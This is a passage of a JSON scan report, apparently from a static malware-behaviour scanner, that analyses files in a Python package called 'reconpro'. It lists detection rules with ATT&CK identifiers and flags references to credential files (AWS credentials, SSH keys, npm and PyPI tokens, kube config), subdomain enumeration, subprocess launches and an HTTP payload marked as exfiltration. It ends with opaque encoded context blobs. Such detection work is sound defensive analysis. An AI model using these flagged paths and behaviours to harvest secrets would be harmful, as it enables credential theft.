"micro-behaviors/communications/socket/family::socket-sock-stream-name", "atk": "T1071", "mbc": "C0001", "conf": 0.55, "crit": 3, "desc": "SOCK_STREAM constant name", "spans": [ [ 41369, 11 ] ] }, { "id": "micro-behaviors/communications/socket/ssl::python-wrap-socket-server-hostname", "conf": 0.85, "crit": 3, "desc": "Python TLS socket server_hostname", "spans": [ [ 12772, 34 ] ] }, { "id": "micro-behaviors/communications/ssh/connect::ssh-string", "atk": "T1021.004", "conf": 0.4, "crit": 1, "desc": "References the SSH protocol", "spans": [ [ 23160, 0 ] ] }, { "id": "micro-behaviors/crypto/certificate/transparency::crt-sh-endpoint", "conf": 0.92, "crit": 3, "desc": "crt.sh certificate lookup endpoint", "spans": [ [ 38565, 6 ] ] }, { "id": "micro-behaviors/crypto/hash/digest::python-sha256-operation", "mbc": "C0029", "conf": 0.88, "crit": 3, "desc": "Performs Python SHA-256 operation", "spans": [ [ 15060, 14 ] ] }, { "id": "micro-behaviors/data/control-flow/error-handling::broad-exception-return-suppression", "atk": "T1027", "mbc": "C0027", "conf": 0.86, "crit": 3, "desc": "Broad exception returns failure sentinel", "spans": [ [ 8512, 177 ], [ 51110, 42 ] ] }, { "id": "micro-behaviors/data/control-flow/error-handling::silent-exception-pass", "atk": "T1027", "mbc": "C0027", "conf": 0.85, "crit": 3, "desc": "exception suppression via try/except pass", "spans": [ [ 41080, 42 ] ] }, { "id": "micro-behaviors/data/control-flow/membership::not-in-membership-check", "conf": 0.3, "crit": 3, "desc": "Python not-in membership check", "spans": [ [ 19116, 29 ], [ 38869, 30 ], [ 39177, 30 ], [ 40499, 21 ], [ 55385, 21 ], [ 61252, 25 ] ] }, { "id": "micro-behaviors/data/control-flow/membership::set-construction", "conf": 0.75, "crit": 3, "desc": "Python set() construction", "spans": [ [ 43449, 11 ] ] }, { "id": "micro-behaviors/data/db/config::db-key-database", "conf": 0.85, "crit": 1, "desc": "Connection database key", "spans": [ [ 33912, 0 ] ] }, { "id": "micro-behaviors/data/db/config::db-key-host", "conf": 0.85, "crit": 1, "desc": "Connection host key", "spans": [ [ 64824, 0 ] ] }, { "id": "micro-behaviors/data/db/elasticsearch::elasticsearch-string", "conf": 0.9, "crit": 3, "desc": "elasticsearch string", "spans": [ [ 23798, 13 ] ] }, { "id": "micro-behaviors/data/db/mongodb::mongodb-url", "conf": 0.9, "crit": 3, "desc": "mongodb:// URL scheme", "spans": [ [ 64750, 10 ] ] }, { "id": "micro-behaviors/data/db/redis::redis-url", "conf": 0.9, "crit": 3, "desc": "redis:// URL scheme", "spans": [ [ 33749, 8 ] ] }, { "id": "micro-behaviors/data/serialize/envelope::command-assignment-key", "conf": 0.4, "crit": 1, "desc": "Command field or assignment key", "spans": [ [ 55637, 0 ] ] }, { "id": "micro-behaviors/data/serialize/envelope::result-assignment-key", "conf": 0.4, "crit": 1, "desc": "Result field or assignment key", "spans": [ [ 41397, 0 ] ] }, { "id": "micro-behaviors/data/serialize/json::comprehension-parse", "conf": 0.88, "crit": 3, "desc": "List comprehension parses JSON lines", "spans": [ [ 40134, 57 ] ] }, { "id": "micro-behaviors/data/serialize/json::json-dumps-call", "conf": 0.9, "crit": 2, "desc": "Serializes data with Python json.dumps()", "spans": [ [ 50528, 0 ] ] }, { "id": "micro-behaviors/data/serialize/schema-object::host-field-key", "conf": 0.9, "crit": 3, "desc": "JSON-like host identity field", "spans": [ [ 13004, 7 ] ] }, { "id": "micro-behaviors/data/source/function/names::sign-prefixed-callable-token", "conf": 0.88, "crit": 3, "desc": "Sign-prefixed callable token in source", "spans": [ [ 69990, 12 ] ] }, { "id": "micro-behaviors/data/source/language::python-timezone-utc", "conf": 0.8, "crit": 3, "desc": "Python timezone.utc reference", "spans": [ [ 5785, 12 ] ] }, { "id": "micro-behaviors/data/string/concat::python-dotted-fstring", "conf": 0.9, "crit": 1, "desc": "Dotted Python f-string", "spans": [ [ 39144, 0 ] ] }, { "id": "micro-behaviors/data/string/search::compiled-python-pattern-set", "conf": 0.9, "crit": 3, "desc": "Compiles a set of Python regex patterns", "spans": [ [ 3143, 11 ] ] }, { "id": "micro-behaviors/fs/path/application/prefix::container-app-root-path", "conf": 0.9, "crit": 3, "desc": "Absolute container application root path", "spans": [ [ 27855, 5 ] ] }, { "id": "micro-behaviors/fs/path/config/environment::env-file-path", "conf": 0.9, "crit": 3, "desc": "References dotenv configuration file path", "spans": [ [ 26626, 6 ] ] }, { "id": "micro-behaviors/fs/path/config/git::git-repository-config-path", "conf": 0.9, "crit": 3, "desc": "References a Git repository configuration path", "spans": [ [ 46452, 12 ] ] }, { "id": "micro-behaviors/fs/path/config/web::wordpress-config-path", "conf": 0.8, "crit": 3, "desc": "WordPress wp-config.php credential file path", "spans": [ [ 29878, 13 ] ] }, { "id": "micro-behaviors/fs/path/filename-credential::credentials-json-file", "conf": 0.85, "crit": 3, "desc": "References a credentials.json file", "spans": [ [ 29439, 17 ] ] }, { "id": "micro-behaviors/fs/path/filename-credential::secrets-json-file", "conf": 0.85, "crit": 3, "desc": "Secrets JSON filename reference", "spans": [ [ 29548, 13 ] ] }, { "id": "micro-behaviors/fs/path/private-key::private-pem-suffix", "atk": "T1552.001", "conf": 0.8, "crit": 1, "desc": "Private PEM file suffix", "spans": [ [ 29473, 0 ] ] }, { "id": "micro-behaviors/fs/path/secret-config::ssh-directory-literal", "conf": 0.8, "crit": 3, "desc": "References the user SSH directory", "spans": [ [ 29523, 6 ] ] }, { "id": "micro-behaviors/fs/path/token::aws-credentials-text-reference", "atk": "T1552.005", "conf": 0.92, "crit": 3, "desc": "References an AWS credentials file path", "spans": [ [ 28962, 16 ] ] }, { "id": "micro-behaviors/os/autorun/scheduled::python-schtasks-query-argument", "atk": "T1053.005", "mbc": "F0012", "conf": 0.95, "crit": 3, "desc": "Python uses schtasks query argument", "spans": [ [ 26289, 6 ] ] }, { "id": "micro-behaviors/os/package-manager/config::npmrc-user-config-path", "conf": 0.9, "crit": 3, "desc": "npm user configuration file path", "spans": [ [ 29834, 7 ] ] }, { "id": "micro-behaviors/os/privilege/check::source-privileged-account-reference", "conf": 0.86, "crit": 3, "desc": "Source references a privileged account", "spans": [ [ 3490, 5 ], [ 23261, 13 ] ] }, { "id": "micro-behaviors/process/create/shell/spawn::subprocess-timeout-expired-text", "conf": 0.88, "crit": 3, "desc": "Subprocess TimeoutExpired reference", "spans": [ [ 56174, 14 ] ] }, { "id": "micro-behaviors/process/create/subprocess::python-subprocess-devnull", "atk": "T1059.006", "conf": 0.9, "crit": 3, "desc": "Python subprocess suppresses stdio", "spans": [ [ 55701, 120 ] ] }, { "id": "micro-behaviors/process/create/subprocess::python-subprocess-io-fields--returncode", "atk": "T1059.006", "conf": 0.84, "crit": 3, "desc": "Process output/status field names (returncode)", "spans": [ [ 55857, 10 ] ] }, { "id": "micro-behaviors/process/create/subprocess::python-subprocess-io-fields--stdout", "atk": "T1059.006", "conf": 0.84, "crit": 3, "desc": "Process output/status field names (stdout)", "spans": [ [ 55882, 6 ] ] }, { "id": "objectives/anti-analysis/geofencing/target-gating::fqdn-substring-gate--rx-3", "atk": "T1480", "mbc": "B0003", "conf": 0.93, "crit": 3, "desc": "Corporate hostname word shard internal", "spans": [ [ 24453, 8 ] ] }, { "id": "objectives/anti-analysis/geofencing/target-gating::fqdn-substring-gate--rx-5", "atk": "T1480", "mbc": "B0003", "conf": 0.93, "crit": 3, "desc": "Conditional compares a hostname value", "spans": [ [ 43559, 44 ] ] }, { "id": "objectives/anti-static/obfuscation/string/concat::python-host-fstring-url", "atk": "T1027", "conf": 0.85, "crit": 3, "desc": "Python host f-string URL", "spans": [ [ 42489, 14 ], [ 42528, 13 ] ] }, { "id": "objectives/command-and-control/channel/covert::port-443-constant-assignment", "atk": "T1573,T1043", "mbc": "C0022.002", "conf": 0.7, "crit": 3, "desc": "Assigns 443 to a port variable", "spans": [ [ 12659, 10 ] ] }, { "id": "objectives/credential-access/api-harvest/token::credential-regex-map-binding", "atk": "T1528", "conf": 0.9, "crit": 3, "desc": "Credential regex map binding", "spans": [ [ 31735, 24 ] ] }, { "id": "objectives/credential-access/credential-manager/store-api::vault-cli-print-token", "atk": "T1552.001", "mbc": "E1552", "conf": 0.84, "crit": 3, "desc": "HashiCorp Vault CLI name", "spans": [ [ 25070, 5 ] ] }, { "id": "objectives/credential-access/env/secrets/bulk-access::azure-credential-env-name", "atk": "T1552.001", "mbc": "B0028", "conf": 0.9, "crit": 3, "desc": "Azure credential environment name", "spans": [ [ 33231, 19 ] ] }, { "id": "objectives/credential-access/env/secrets/bulk-access::infrastructure-secret-env-name", "atk": "T1552.001", "mbc": "B0028", "conf": 0.9, "crit": 3, "desc": "Infrastructure secret environment name", "spans": [ [ 29733, 10 ] ] }, { "id": "objectives/credential-access/files/config::registry-credentials-path", "atk": "T1552.001", "mbc": "B0029", "conf": 0.9, "crit": 1, "desc": "NPM or PyPI credential-file path", "spans": [ [ 29846, 0 ] ] }, { "id": "objectives/discovery/network/enumeration::certificate-search-query", "conf": 0.88, "crit": 3, "desc": "crt.sh JSON certificate query", "spans": [ [ 39853, 32 ] ] }, { "id": "objectives/discovery/network/enumeration::subdomain-result-field", "conf": 0.86, "crit": 3, "desc": "Certificate subdomain result field", "spans": [ [ 40240, 12 ] ] }, { "id": "objectives/discovery/network/enumeration::subdomain-result-split", "conf": 0.86, "crit": 3, "desc": "Splits discovered subdomain results", "spans": [ [ 40294, 17 ] ] }, { "id": "objectives/evasion/masquerade/traffic::browser-html-accept-header", "atk": "T1071.001", "mbc": "B0030", "conf": 0.8, "crit": 3, "desc": "Browser HTML Accept header literal", "spans": [ [ 7567, 31 ] ] }, { "id": "objectives/execution/automation/agent::agent-target-discovery-a", "atk": "T1059,T1190,T1595", "conf": 0.88, "crit": 3, "desc": "Agent enumerates exposed targets", "spans": [ [ 35571, 38 ], [ 35655, 38 ], [ 35893, 30 ], [ 38429, 42 ], [ 43189, 42 ], [ 51337, 34 ] ] }, { "id": "objectives/exfiltration/http/collect::python-json-request-payload", "atk": "T1041", "conf": 0.91, "crit": 3, "desc": "Python JSON request payload", "spans": [ [ 50528, 86 ] ] }, { "id": "objectives/lateral-movement/exploit/scanner::cgi-bin-endpoint-url", "atk": "T1210", "conf": 0.7, "crit": 3, "desc": "CGI endpoint path", "spans": [ [ 27416, 9 ] ] }, { "id": "objectives/lateral-movement/exploit/scanner::wp-admin-endpoint-url", "atk": "T1210", "conf": 0.7, "crit": 3, "desc": "WordPress admin endpoint path", "spans": [ [ 3484, 27 ], [ 3486, 25 ], [ 46229, 10 ], [ 46243, 21 ] ] }, { "id": "objectives/supply-chain/recon-exfil/agent-skill::proxy-cloud-credential-path", "atk": "T1195.002", "conf": 0.97, "crit": 3, "desc": "Cloud credential path marker", "spans": [ [ 28961, 17 ] ] }, { "id": "micro-behaviors/communications/http/client/library::urllib-request", "conf": 0.8, "crit": 3, "desc": "Imports Python urllib.request HTTP client", "spans": [ [ 732, 14 ] ] }, { "id": "micro-behaviors/communications/http/header/content-type::json-header", "conf": 0.9, "crit": 3, "desc": "References HTTP Content-Type application/json", "spans": [ [ 50764, 32 ] ] }, { "id": "micro-behaviors/communications/http/lib/urllib::urllib-from-import", "conf": 0.8, "crit": 3, "desc": "Imports urllib request functions", "spans": [ [ 727, 34 ] ] }, { "id": "micro-behaviors/communications/http/lib/urllib::urlopen-response-body-read", "conf": 0.9, "crit": 3, "desc": "Reads urllib response body", "spans": [ [ 50882, 64 ] ] }, { "id": "micro-behaviors/communications/http/request/action-resource::http-authorization-denial-status", "conf": 0.96, "crit": 3, "desc": "References HTTP 403 denial status", "spans": [ [ 71364, 18 ] ] }, { "id": "micro-behaviors/communications/http/request/client::python-request-data-argument", "conf": 0.84, "crit": 3, "desc": "Python Request call passes a body argument", "spans": [ [ 50607, 103 ] ] }, { "id": "micro-behaviors/communications/http/server/listener::apache-tomcat-phrase", "atk": "T1071.001", "mbc": "C0002", "conf": 0.6, "crit": 3, "desc": "Apache Tomcat product name", "spans": [ [ 1476, 13 ] ] }, { "id": "micro-behaviors/communications/http/services/analytics::newrelic-service-reference", "atk": "T1071.001", "conf": 0.86, "crit": 3, "desc": "References the New Relic service", "spans": [ [ 23865, 8 ] ] }, { "id": "micro-behaviors/communications/http/services/cloud::aws-api-endpoint", "conf": 0.8, "crit": 3, "desc": "References an AWS API endpoint", "spans": [ [ 29006, 17 ] ] }, { "id": "micro-behaviors/communications/ip/endpoint::https-port-443-protocol", "conf": 0.6, "crit": 3, "desc": "References HTTPS service port 443", "spans": [ [ 12659, 10 ] ] }, { "id": "micro-behaviors/communications/socket/connect::socket-create-connection-call", "atk": "T1071", "mbc": "C0001", "conf": 0.85, "crit": 3, "desc": "Python socket create_connection call", "spans": [ [ 12692, 24 ] ] }, { "id": "micro-behaviors/communications/socket/create::socket-module-import", "atk": "T1071", "mbc": "C0001", "conf": 0.6, "crit": 3, "desc": "Imports Python's socket module", "spans": [ [ 431, 13 ] ] }, { "id": "micro-behaviors/crypto/certificate/usage::certificate-ref", "conf": 0.5, "crit": 2, "desc": "References certificate terminology", "spans": [ [ 12406, 0 ] ] }, { "id": "micro-behaviors/crypto/hash/digest::python-sha256-hexdigest", "conf": 0.9, "crit": 3, "desc": "Computes a SHA-256 hex digest in Python", "spans": [ [ 15060, 35 ] ] }, { "id": "micro-behaviors/data/serialize/json::json-loads-call", "conf": 0.9, "crit": 3, "desc": "Parses JSON data with Python", "spans": [ [ 40134, 10 ] ] }, { "id": "micro-behaviors/fs/path/private-key::keys", "atk": "T1552.004", "conf": 0.8, "crit": 1, "desc": "SSH keys directory path literal", "spans": [ [ 29523, 0 ] ] }, { "id": "micro-behaviors/fs/path/private-key::ssh-private-key-filename-rsa", "atk": "T1552.001", "conf": 0.95, "crit": 3, "desc": "id_rsa filename constant", "spans": [ [ 29501, 8 ] ] }, { "id": "micro-behaviors/fs/path/secret-config::aws-config", "atk": "T1552.001", "conf": 0.95, "crit": 3, "desc": "AWS config file path", "spans": [ [ 28983, 11 ] ] }, { "id": "micro-behaviors/fs/path/secret-config::dotenv-filename-literal", "atk": "T1552.001", "conf": 0.85, "crit": 1, "desc": ".env filename literal", "spans": [ [ 26617, 0 ] ] }, { "id": "micro-behaviors/fs/path/secret-config::kube-config", "atk": "T1552.001", "conf": 0.95, "crit": 3, "desc": "Kubernetes config path", "spans": [ [ 29748, 12 ] ] }, { "id": "micro-behaviors/fs/path/secret-config::npmrc-credentials", "atk": "T1552.001", "conf": 0.95, "crit": 3, "desc": "NPM registry credentials file path literal", "spans": [ [ 29834, 7 ] ] }, { "id": "micro-behaviors/fs/path/secret-config::pypirc-credentials-file", "atk": "T1552.001", "conf": 0.9, "crit": 3, "desc": "PyPI credentials file path reference", "spans": [ [ 29845, 8 ] ] }, { "id": "micro-behaviors/fs/path/secret-config::ssh-dir", "atk": "T1552.001", "conf": 0.95, "crit": 3, "desc": ".ssh directory path", "spans": [ [ 29524, 5 ] ] }, { "id": "micro-behaviors/process/create/subprocess::import-subprocess", "atk": "T1059.006", "mbc": "E1059.006", "conf": 0.95, "crit": 3, "desc": "Imports Python's subprocess module", "spans": [ [ 522, 10 ] ] }, { "id": "micro-behaviors/process/create/subprocess::run-ast", "atk": "T1059.006", "mbc": "C0017", "conf": 0.85, "crit": 3, "desc": "Calls subprocess.run to launch a process", "spans": [ [ 55701, 14 ] ] }, { "id": "objectives/collection/file-targeting/filter::credential-file-extension", "atk": "T1005,T1083", "conf": 0.92, "crit": 3, "desc": "Credential-like filename extension", "spans": [ [ 29095, 16 ] ] }, { "id": "objectives/collection/file-targeting/filter::credential-file-path-segment", "atk": "T1005,T1083", "conf": 0.92, "crit": 3, "desc": "Credential-like path segment", "spans": [ [ 28961, 17 ], [ 29439, 13 ] ] }, { "id": "objectives/command-and-control/infrastructure/domain/malicious::short-domain-url-pattern", "atk": "T1071.001", "mbc": "C0002", "conf": 0.8, "crit": 3, "desc": "Very short domain in URL", "spans": [ [ 39845, 15 ] ] }, { "id": "objectives/lateral-movement/brute-force/password::service-account-redis", "atk": "T1110.001", "mbc": "E1110", "conf": 0.85, "crit": 3, "desc": "Service-account token redis", "spans": [ [ 23953, 5 ] ] }, { "id": "objectives/lateral-movement/brute-force/password::service-account-tomcat", "atk": "T1110.001", "mbc": "E1110", "conf": 0.85, "crit": 3, "desc": "Service-account token tomcat", "spans": [ [ 10671, 6 ], [ 10753, 6 ] ] }, { "id": "metadata/file/catalog/service::ai-vault-service-names", "conf": 0.82, "crit": 1, "desc": "AI and vault service names", "uses": [ 5 ], "spans": [ [ 57819, 0 ] ] }, { "id": "metadata/file/catalog/service::cloud-saas-service-names", "conf": 0.6, "crit": 1, "desc": "Cloud SaaS service names", "uses": [ 4 ], "spans": [ [ 32397, 0 ] ] }, { "id": "metadata/file/catalog/service::finance-service-names", "conf": 0.82, "crit": 1, "desc": "Finance and payment service names", "uses": [ 7 ], "spans": [ [ 33011, 0 ] ] }, { "id": "metadata/file/catalog/service::messaging-mail-service-names", "conf": 0.82, "crit": 1, "desc": "Messaging and mail service names", "uses": [ 6 ], "spans": [ [ 32310, 0 ] ] }, { "id": "micro-behaviors/communications/dns/lookup/resolver::socket-dns-lookup", "conf": 0.8, "crit": 3, "desc": "Socket-based DNS lookup capability", "uses": [ 12 ], "spans": [ [ 41315, 18 ] ] }, { "id": "micro-behaviors/communications/http/client/library::urllib-request-client-import", "conf": 0.82, "crit": 3, "desc": "Imports Python urllib.request through direct or from-import syntax", "uses": [ 90 ], "spans": [ [ 732, 14 ] ] }, { "id": "micro-behaviors/communications/http/server/listener::tomcat-keyword", "atk": "T1071.001", "mbc": "C0002", "conf": 0.6, "crit": 3, "desc": "References the Apache Tomcat web server", "uses": [ 96 ], "spans": [ [ 1476, 13 ] ] }, { "id": "micro-behaviors/communications/ip/endpoint::https-port-443", "conf": 0.6, "crit": 1, "desc": "HTTPS service port number", "uses": [ 99 ], "spans": [ [ 12659, 0 ] ] }, { "id": "micro-behaviors/communications/socket/create::socket-creation", "atk": "T1071", "mbc": "C0001", "conf": 1.0, "crit": 2, "desc": "Socket creation patterns", "uses": [ 32, 33 ], "spans": [ [ 41353, 0 ] ] }, { "id": "micro-behaviors/fs/path/secret-config::package-or-netrc-credential-file", "atk": "T1552.001", "conf": 0.9, "crit": 3, "desc": "Package or netrc credential file reference", "uses": [ 110, 111 ], "spans": [ [ 29834, 7 ], [ 29845, 8 ] ] }, { "id": "micro-behaviors/fs/path/secret-config::ssh-tooling-or-transcript-context", "atk": "T1552.001", "conf": 0.9, "crit": 1, "desc": "SSH tooling or documentation transcript", "uses": [ 35 ], "spans": [ [ 23160, 0 ] ] }, { "id": "objectives/discovery/network/enumeration::certificate-transparency-domain-search", "conf": 0.94, "crit": 3, "desc": "Searches certificate records for a domain", "uses": [ 36, 81 ], "spans": [ [ 38565, 6 ], [ 39853, 32 ] ] }, { "id": "micro-behaviors/communications/ip/endpoint::common-service-port", "conf": 0.6, "crit": 3, "desc": "Common service port number", "uses": [ 127 ], "spans": [ [ 12659, 10 ] ] }, { "id": "objectives/discovery/network/enumeration::certificate-subdomain-collection", "conf": 0.92, "crit": 4, "desc": "Collects subdomains from certificates", "uses": [ 82, 83, 131 ], "spans": [ [ 38565, 6 ], [ 39853, 32 ], [ 40240, 12 ], [ 40294, 17 ] ] }, { "id": "micro-behaviors/communications/http/lib/urllib::urllib-urlopen-call", "conf": 0.82, "crit": 3, "desc": "Calls Python urllib urlopen", "uses": [ 15 ], "spans": [ [ 7863, 7 ] ] }, { "id": "micro-behaviors/fs/path/secret-config::orchestration-credentials", "atk": "T1552.001", "conf": 0.94, "crit": 3, "desc": "Orchestration credential paths", "uses": [ 109 ], "spans": [ [ 29748, 12 ] ] }, { "id": "micro-behaviors/fs/path/token::cloud-credentials", "atk": "T1552.005", "conf": 0.95, "crit": 3, "desc": "Cloud provider credential file paths", "uses": [ 107 ], "spans": [ [ 28983, 11 ] ] }, { "id": "micro-behaviors/process/create/subprocess::process-execution", "atk": "T1059.006", "conf": 0.8, "crit": 3, "desc": "Python launches a child process", "uses": [ 114 ], "spans": [ [ 55682, 34 ], [ 55701, 14 ] ] }, { "id": "micro-behaviors/communications/http/request/client::request-python", "conf": 0.9, "crit": 3, "desc": "Sends an HTTP request with a Python client library", "uses": [ 134 ], "spans": [ [ 7863, 7 ] ] } ], "type": "python" }, { "id": 92, "mol": "O₂(CDy)H₄(Cm₁₁CrDb₂Po₂)", "sha": "b2eff7cbcce66248eb4f958cb1108f650936f0d869f710b822e07b502577ad3f", "path": "reconpro-11.1.0-py3-none-any.whl!!reconpro/social_graph.py", "risk": 9, "size": 36652, "type": "python", "depth": 1 }, { "id": 93, "mol": "K(Li₂)O₂(IC)H₃(Cm₁₀Db₂Po₂)Md", "sha": "5e602d044d699de16868c08ab5b34df5c70aa940fc61cbe3bd471c7a547009dd", "path": "reconpro-11.1.0-py3-none-any.whl!!reconpro/sovereignty.py", "risk": 51, "size": 53802, "type": "python", "depth": 1 }, { "ctx": [ { "b": "a%FirwN/T@Ab]\u003eHB9g@5z/5]%zGu@WFrRfzz/6DlwOtT)B7]/eaAIWmwn=r[x(k58zGP/cA::67z/cXezF9W3wGSyAiw90rfEWtop\u003c3!\u0026eL{.mxM4=hpG6?Wr3lm8vQ%y]vqfQ4wnc9{z*2YjC{4lJx(mMaf!+a2w].D]aAIEzA:@U", "ln": 0, "col": 1, "line": 1 }, { "b": "wPG0NFrRf{zFTOvp\u003cEd@z/cXsByYi4vLe0ia%Ev3w].*baywF/B-.+DwNw^!x(d*cA=-BjzF\u003cxmvruj4zGuc(x(d*cA=-BsB8L}6x(d*cA=-BAwErc*AbP=saAIEhyH}O{x(d*cA=-BBB8hg$ze:AlBrCWtzdK5*ze:AlBrCZDy\u00260/{e[G6zz/Mh0ze:AlBrCZDy\u00260/{e]UltB7CX)ze:AlBrCZDy\u00260/{e]\u003eJyB.bSo3tar%z6itbzEW*fA+fcge[PlFB-I5mazCXiz/P}xra{q-vpShMz!}\u003c!wN/\u003e8z/NxKvrk^=z/6DfwPRG]3tar%z6iv$BywV}vrlH3B0bglAbP=say[]5vpKaZB8@(Pw[+*)wc#{?z/3RsD2NFnxcp]9AbP=savf)\u003cefEt{v@%mAoLFM\u0026efE-cBzkVhvqEFqq!p4T3tar%z6gDvz/fSrvqZgdazCXiz/P}xrz#s:uQmgJpe?Mc", "ln": 166, "col": 25, "line": 5 }, { "b": "arR^Jwnc9{z*2YjuVQv0wn=r[x(m#oedbU\u00263l{XMLZ}+TFfmi$zGx]dzGG}x\u0026/[#MLZ}+TFz#/z\u0026/[#MLZ}+TFz#/z\u0026/[#MLZ}+TFz#/z\u0026/[#MLZ}+TFz#/z\u0026/[#MLZ}+TFz#/z\u0026/[#MLZ}+TFz#/z\u0026/[#MLZ}+TFz#/z\u0026/[#MLZ}+TFz#/z\u0026/[#MLZ}+TFz#/z\u0026/[#MLZ}+TFz#/z\u0026/[#MLZ}+TFz#/z\u0026/[#MLZ}+TFz#/z\u0026/[#MLZ}+TFz#/z\u0026/[#MLZ}+TFz#/z\u0026/[#MLZ}+TFz#/z\u0026/[#MLZ}+TFz#/z\u0026/[%23rp1[qEqZWmnu/8jS):6mn^FUm[3fLarR)Kv{%m[zFrP?y-)tgz/3Rbz/fSrvqZgd3pErLk#*PTuSoP\u003emnD].auZ\u00264fFk3^l}6Nhrzlw0s5hZ!mn^5bjS(P?3pES/uQvT\u003cr7gd\u003cqBK5DsvDdhjS)@oarR^Hb6OlPa$K\u0026Xvq]{8efDcBwnM3#a$K\u0026XB97\u00266x(mMcefDcEwP/mGar\u003e]sB95PSar\u003e=Bz!74yar\u003erazxZROb6d\u003cmBzkkeed9HxarR\u003eBvqfK4efDcWAbD\u003cJar\u003eu9a$K\u0026Xxk8DiefDcKwO#o$zGv0Mar\u003eDsvp\u0026}=viNlBb5p[4vqYG$efDcQA=k/aBzbldB0rdxarR^Hb4kRoxD!#Ib6d*za$K\u0026XAbP=svqEbsar\u003eUDefDcNz^)A%wG\u0026VFb4kCfa$K\u0026XvR6T\u0026a$K\u0026Xx(n37A=br4a$K\u0026Xv}^br3lQDlar\u003eraa$K\u0026XB97\u00266x(mMnvq]{8efDcEwP/UlAa{HEar\u003e(nzE^i{CP[WYb4Ln4zZ3.Pb5?NlC4\u003eJia$K\u0026Xz!@@defDcOwP]sH3lQDlar\u003eo6v@3jaa$K\u0026Xze13hz/N3Mar\u003e(uz/u)Kar\u003e(Gz/Pzk", "ln": 652, "col": 2, "line": 29 }, { "b": "b57[5xjVcdefDcBB8$]mB0rdTb6v\u003cvz^^f$a$K\u0026Xwn=Wfy\u0026r-)a$K\u0026Xw[=6)B0rdTb4kC8eP@([efDcWg9Om(b6C:^ed9HxarR\u003evA:-{2ACM*Iar\u003eDiA=tIjefDcXB0rdT", "ln": 1485, "col": 5, "line": 45 }, { "b": "B0rdTb5H[kA+P38a$K\u0026XxK$Q*Bz8\u003cHar\u003e(GvruTka$K\u0026XAa%i5a$K6zarR^JxK$Q)ByF/\u0026BrSmUb6m\u003clv}u\u0026nar\u003eMewOkN{a$K\u0026XDtdtlx(kaCar\u003e(rzGG]Aa$K\u0026XwPz*fA=SAQar\u003eSuxlbmF3lQDlar\u003eSuxlef6B7=:Gar\u003exkvrlK8v\u003ciDDb64m9x(+EHar\u003eVvzF9(iefDcND2)$wa$K\u0026XAbP/txl4N8a$K\u0026XA:-A^x([iia$K6zarR^JyHH*\u003cviNlBb4CLeB9hpyefDcFByO\u00269efDc.z/oA5wPhj3a$K\u0026XC42JfBrSmUb4kI8z!0r4efDcHx([f1vJ)ugarR^Hb4L.jzE\u003e1yar\u003eGcA:\u0026%ca$K\u0026XA+e($B98CFa$K\u0026Xwn+%[wPw$Car\u003eOXB0rdTb5qsgwPzW1By/IqefDcSvqYN*wPw$C3lQDlar\u003e]Fvp:4+yA+qLb4UUnz*rJTar\u003eYox(neEAb](wC{j^Zb5?NvCZgF:ar\u003eSha$K\u0026Xy\u0026r-)eN\u0026d8vqYN^AW04Sb4\u003etawP}Nda$K6zarR^Jx(mN7wPI]pefDcXwNYs\u003ez!*KFar\u003eGqz!\u003czrefDcOz//Y9x\u003e7N[x(v)ga$K\u0026XwP?T5BAnSSar\u003e(pxK$Z%y?mShed9HxarR\u003eLz/PS8AW04Sb5}:pB.8:Far\u003eMsvSJ.Aar\u003e]oB8b?vefDcDwO+{#C{j^Zb6dEewOV11a$K\u0026XA+friB.8:F3s9#CuQmvVuSf:2qBr\u003e", "ln": 1592, "col": 34, "line": 46 }, { "b": "b4CUnB7=:Gar\u003erbA==wwz/*8jAW04Sb4Ch4B9R*JefDcCB.kk%A=lbjAW04Sb64ydwnC*$a$K6zarR^JwnVD}vSDQkwOb\u003e3v}u\u0026nar\u003e]LByeP%B.@rNar(2rD17h(yA+qLb4kwivRG)cefDcTwN/\u003e6x([SxA:-V#B0rdxt)Z]CboV0gFz#/zavGTWvixSkA=\u003e(lB-I5maMwSo\u0026/[#MLZ}+TFz#/z\u0026/[#MLZ}+TFz#/z\u0026/[#MLZ}+TFz#/z\u0026/[#MLZ}+TFz#/z\u0026/[#MLZ}+TFz#/z\u0026/[#MLZ}+TFz#/z\u0026/[#MLZ}+TFz#/z\u0026/[#MLZ}+TFz#/z\u0026/[#MLZ}+TFz#/z\u0026/[#MLZ}+TFz#/z\u0026/[#MLZ}+TFz#/z\u0026/[#MLZ}+TFz#/z\u0026/[#MLZ}+TFz#/z\u0026/[#MLZ}+TFz#/z\u0026/[#MLZ\u003c8F3p5cgBywV}vrlF%v@bN{B0az7vQ%y]vqfQSwPJ0gBuf:KarR^Ja%Gr=xl4M@vru6\u003eaAz4mB.(dxz!pbkBZ!)1zddc@az2CkzdN-@BzkVhe*qF-3lQDlay]zcvqb", "ln": 2189, "col": 5, "line": 57 }, { "b": "jS(A=arR^HwO+^]B7F(yazbCdvrrRPattA43jma+aMwSo\u0026/[%onm=QRwPz\u0026m\u0026/[#MLZ}+TFz#/z\u0026/[#MLZ}+TFz#/z\u0026/[#MLZ}+TFz#/z\u0026/[#MLZ}+TFz#/z\u0026/[#MLZ}+TFz#/z\u0026/[#MLZ}+TFz#/z\u0026/[#MLZ}+TFz#/z\u0026/[#MLZ}+TFz#/z\u0026/[#MLZ}+TFz#/z\u0026/[#MLZ}+TFz#/z\u0026/[#MLZ}+TFz#/z\u0026/[#MLZ}+TFz#/z\u0026/[#MLZ}+TFz#/z\u0026/[#MLZ}+TFz#/z\u0026/[#MLZ}+TFz#/z\u0026/[#MLZ}+TFz#/z\u0026/[#MLZ}+TFc(R\u003cwmYu}uU%j!wNxE?ADL\u0026lBsqoLy=SXWBAe]PBzkP6z/{d.azbCdvrrRPavFT/k#*PTuSoP\u003emnD].diHiaawV@#x(v($y*gv]By/J0iTM#LarR\u003cLb2z\u0026\u003ew]zZbayPdgnk@L+av!\u003e1ayPd#aAz4nB-IvxA::emvTi6bB1wCLAV!a}zE\u003c@ezxJL1x(4{jwIbeJa{]CnarUYoAuEy!B-Iqmx\u003c@YnwPq\u003c7B963jwPq\u003c7B95*MA+)oHxK$Q.wPz\u0026PDM(EhwPxv*xjU$5b03\u0026Dq:\u003cO\u003ek$svsrdch5arR^Hv@#@rjS[/!y+xjrwNPW(uU0.WvrDyduT[1(By/Ysc[bGCarR!GA^oXMarR^HarR^HCwhejaA.Zvy?WuhA+flkwPI@CB-IqpAaJ]nA+fkwaARsmwP8Zkj-\u003eyPwP8ZkefFCvzGGDmBuKbQCQT+zB0bHmB8TeEarR^HarR^HarR^HA+funA=91uwPI/yA+eV\u0026c[bGCarR!rCW\u003er7BrB1%v}xR3x(v(I3lQDlarR^HaAz4nB-